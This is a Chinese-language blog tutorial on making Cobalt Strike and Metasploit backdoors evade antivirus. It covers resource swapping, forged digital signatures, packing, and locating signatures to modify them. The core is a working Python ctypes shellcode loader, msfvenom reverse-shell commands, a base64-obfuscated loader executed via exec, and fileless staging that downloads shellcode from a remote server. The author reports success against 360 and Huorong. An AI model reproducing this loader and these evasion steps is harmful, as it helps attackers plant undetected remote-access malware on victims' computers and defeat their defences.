当前位置:   article > 正文

Python shellcode免杀

python shellcode

浅谈Python shellcode免杀
一.前言
在安全厂商日趋成熟的背景下,编写免杀马的难度和成本日益增长。很多师傅好用的开源免杀项目公布出来的同时几乎也就意味它的失效,对于一些和我一样对系统底层没有深入学习过的师傅们是不是意味着我们不能去自己完成一个木马的免杀呢,其实并非如此,我们也有两种可以发展的方向,一个是学习免杀思想,自己实现并去做特征免杀绕过静态查杀;二是改造原有项目,自己查特征、去特征,经过测试也能达到免杀。由于篇幅有限本文先介绍静态免杀中我们常用到的技术

二.杀软的检测方式

谈到免杀自然离不开去了解杀毒软件他的工作原理,杀软会在内存里划分一部分空间,将计算机中流过内存的数据与杀毒软件自身所带的病毒库(包含病毒定义)的特征码相比较,以判断是否为病毒;另一部分杀毒软件在所划分到的内存空间里,虚拟执行系统或用户提交的程序,根据其行为或结果作出判断。通俗的来讲就是

1.对于文件的特征码检测(杀软自身都有自己的病毒库,时刻都在更新自己的特征码,这也是很多时候免杀项目隔段时间就会效果大减的原因)

2.对于文件的动态行为检测(部分系统敏感api,会被杀软标识为恶意行为)

3.对于文件关联内容检测(比如在使用加载器加载shellcode时,需要开辟内存,将shellcode加载进内存,最后执行内存区域shellcode。在调用了一组开辟内存的函数比如virtualAlloc之后对该内存使用virtualProtect来更改标示位为可执行并且对该内存进行调用这种关联行为就会触发报毒)

三.常用到的静态免杀技术
特征码定位修改
填充花指令免杀
文件加壳免杀
内存执行免杀
shellcode混淆免杀
shellcode和loader分离免杀
木马资源修改免杀
调用系统白名单免杀

首先我们先了解特征码的概念,特征码是杀软经过扫描提取病毒源代码中的关键信息后经过模糊算法所得到的对于特定病毒的唯一标识。目前主流的APT工具 cobaltstrike 和msf 都已经被各大杀毒软件厂商盯上所以对于两款软件生成出来的后门毫无疑问肯定是秒被杀的。那么对于如何消去特征码呢?我认为主要分三个方面(1.针对exe外部修改,包括修改资源文件,加壳,修改数字签名2.用特征码定位工具myccl定位特征码区段修改其汇编指令3.自写shellcode loader对shellcode进行加解密混淆,分离免杀等操作)
首先介绍我的第一种思路
这里我给大家用cobaltstrike演示 首先选择监听器生成木马
在这里插入图片描述在这里插入图片描述

特征码很明显一生成就被火绒标识删除,那么我们可以对生成的后门木马进行资源替换,添加数字签名,加壳的方法打乱其原本的特征码使杀毒软件无法正常识别原有特征码实现免杀
首先打开工具Restorator资源修改工具,我们打算将后门文件的资源文件更换成我们常用的steam软件的资源文件

将后门exe拖入 和steam.exe拖入工具
在这里插入图片描述在这里插入图片描述

我们进行替换操作将steam游戏的资源复制到后门程序上替换完成如图
保存退出发现我们后门程序的图标和信息已经改变
在这里插入图片描述在这里插入图片描述

接下来我们利用k8工具修改数字签名360的签名
在这里插入图片描述

添加以后我们来到了最关键的一步就是进行加壳,在这里壳的选择也很有讲究,市面上有很多加壳产品有加密壳,压缩壳…等 所以我们在选择时候要根据自己后门不同的情况而选择,要注意加壳可能会影响原有程序的功能所以要逐一去尝试 不同的壳对于和杀毒软件对抗有不同的效果 免杀比较流行的压缩壳upx目前也已经被各大杀毒厂商盯上所以免杀效果不如人意在这里我给大家用Shielden这款优秀的加壳工具进行实验,打开软件载入我们的后门程序
在这里插入图片描述

在这里我们可以针对性的选择加壳选项,开发能力比较弱的师傅可以直接默认加壳
加壳完成我们进行查看
在这里插入图片描述在这里插入图片描述

可以发现成功过了目前主流的杀毒软件360和火绒,并且上线正常

在这里介绍我的第二种思路
定位并且修改后门程序的特征码首先设置监听器生成后门beacon2.exe
在这里插入图片描述在这里插入图片描述

很显然再一次被查杀,我们的思路就是用特征码定位工具进行定位特征码区段,打开myccl载入我们的后门程序,定位特征码的原理我个人理解就是将一整个程序段细分成好多小的程序段如何导出来用杀软进行查杀,被查杀的那个就是特征码所在的区段,然后再对刚刚被查杀的那个代码区段再进行细分,再导出来让杀软去查杀直到杀软不报毒说明已经定位到了特征码的区段,然后对特征码修改,这样的方法是最高效的但同时也是最鸡肋的有时候的特征码修改会导致程序无法正常运行,而且修改特征码需要有很强的汇编知识和逆向功底
定位特征码经典的有myccl工具,但这里为了节约时间我用virtest工具进行自动化定位特征码首先打开工具将后门文件载入制作成待测样本
在这里插入图片描述

然后载入待测样本下一步开始检测定位特征码
在这里插入图片描述

在这里我选择了自动确定选项程序会帮我们自动找出特征码区间
在这里插入图片描述

用c32asm打开我们的特征码区间00044E38和00045EB1
我们可以在他的接下来数据段加花指令和填充数据干扰其原有程序便移量比如

push ebp

push esp

pop ebp

add esp,-0C

add esp,0C

push eax

jmp入口

在这里插入图片描述在这里插入图片描述

在这里我只能选择加花和填充垃圾数据绕过杀软但是很遗憾全部失败,那么为什么不选择修改汇编指令呢因为,在这里的汇编指令没有可以替换的语句,杀软对于这种cs或者msf生成出来的后门特征码标识的十分精细,很难通过修改apt工具的特征码绕过检测,特征码如图但是我们可以借用修改特征码这个思路去修改我们自写的后门病毒特征码,这样是很容易实现的。修改特征码应该是我们的一个思路。
在这里插入图片描述在这里插入图片描述

分享我的第三个思路自写shellcoe 加载器
提到python免杀就必须知ctypes ctypes是 Python的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。具体可参考文末的官方文档,简单的来说就是引用了ctypes库就能在python中执行c的代码
废话不多说上代码:

-- coding: utf-8 --

import ctypes

Buf = # CS或者msf生成的ShellCode
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ctypes.c_int(0)
ctypes.c_int(len(shellcode))
ctypes.c_int(0x3000)
ctypes.c_int(0x40)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
lpThreadAttributes
dwStackSize
lpStartAddress
lpParameter
dwCreationFlags
lpThreadId
“”"
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
这个loader就是在内存中开辟一段内存空间然后将我们的生成出来的shellcode放入创建线程执行,用到了.VirtualAlloc函数去申请内存,这个函数还是比较敏感的,杀软对函数的查杀说白了还是对黑名单的限制这样总会有漏网之鱼,在github上有大佬写了很多c的利用不同函数的loader调用代码 所以我们理所当然需要对其进行代码混淆 有的方法并没有被杀毒软件标识。但是在这里我们以这个loader为例我们既然不需要这个特征码我们就需要对他进行代码混淆

我们首先在msf上生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=8000 -f py
在这里插入图片描述

然后放到loader中测试运行
在这里插入图片描述

成功上线 利用pyinstall 打包器打包exe生成出来被杀
在这里插入图片描述

我们进行代码混淆首先引入base64库 然后用msf对shellcode进行base64编码
msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost= ip lport=8000 -f py
在这里插入图片描述

增加代码
在这里插入图片描述

对base64先进行解码再传参代入并且将原本的shellcode loader
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
改写成一句话并且进行base64加密为
Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSk7YnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKTtjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkoY3R5cGVzLmNfdWludDY0KHB0ciksIGJ1ZiwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSk7aGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLCBjdHlwZXMuY19pbnQoLTEpKQ==
然后通过exec(执行base64编码后的值)如图成功上线,这样我们对代码进行了混淆即shellcode混淆和shellcode loader混淆
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

生成出来的2.exe成功过掉360和火绒
继续进行优化那么如果我对shellcode和 shellcode loader分开呢?那就做到了分离免杀,那如果我把他们不放在本地资源而放到网络资源中呢那就做到了无文件落地,我通过http请求去从我的远程服务器上下载加密过后的shellcode和加密过后的shellcode loader那么就更加没有特征码再代码中只有请求远程资源的指令,
在我的远程服务器开启http服务并且创建1.txt放入base64加密过后的shellcode 2.txt放入加密过后的shellcode loader

注意踩坑(放入base64 的shellcode不要放入byte流的格式要放入字符串形式的shellcode可以自写脚本转换一下)
1.txt内容
在这里插入图片描述

2.txt内容

在这里插入图片描述

核心代码段成功收到会话

在这里插入图片描述在这里插入图片描述

只有一件杀毒引擎报毒,杀毒效果十分理想
注(免杀效果 针对不同的语言的shellcode 和loader有不一样的效果,在这里只是演示了python 其他语言也可以做免杀 越小众语言效果越好,不同的exe打包器有不同效果这里实验用的是pyinstall 实际中还可以用py2exe打包,而且很有很有趣的一点代码中尽量避免出现敏感词汇这样也会降低查杀率,不同的壳也有不同的效果)

总结:免杀最主要的是思路,要打组合拳才能够免杀效果更好,比如最后的实验我还可以继续加壳,修改资源文件,数字签名等等,而且在代码混淆力度上还可以进行复杂高强度加密算法比如aes加解密 把base64加密再加一次密,这样对于杀毒引擎来说更加难进行还原源代码,总之就是尽可能的去消除特征码。而且还可以利用我们前面介绍的修改特征这是最直接的方法去绕过杀软。当然免杀还有其他技术比如白名单技术,二次编译等。这里篇幅有限没有办法继续深入讲下去。免杀是一个经久不衰的技术需要我们扩散思维 经常学习。免杀技术就是网络中的攻与防的实力较量。

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/198641
推荐阅读
相关标签
  

闽ICP备14008679号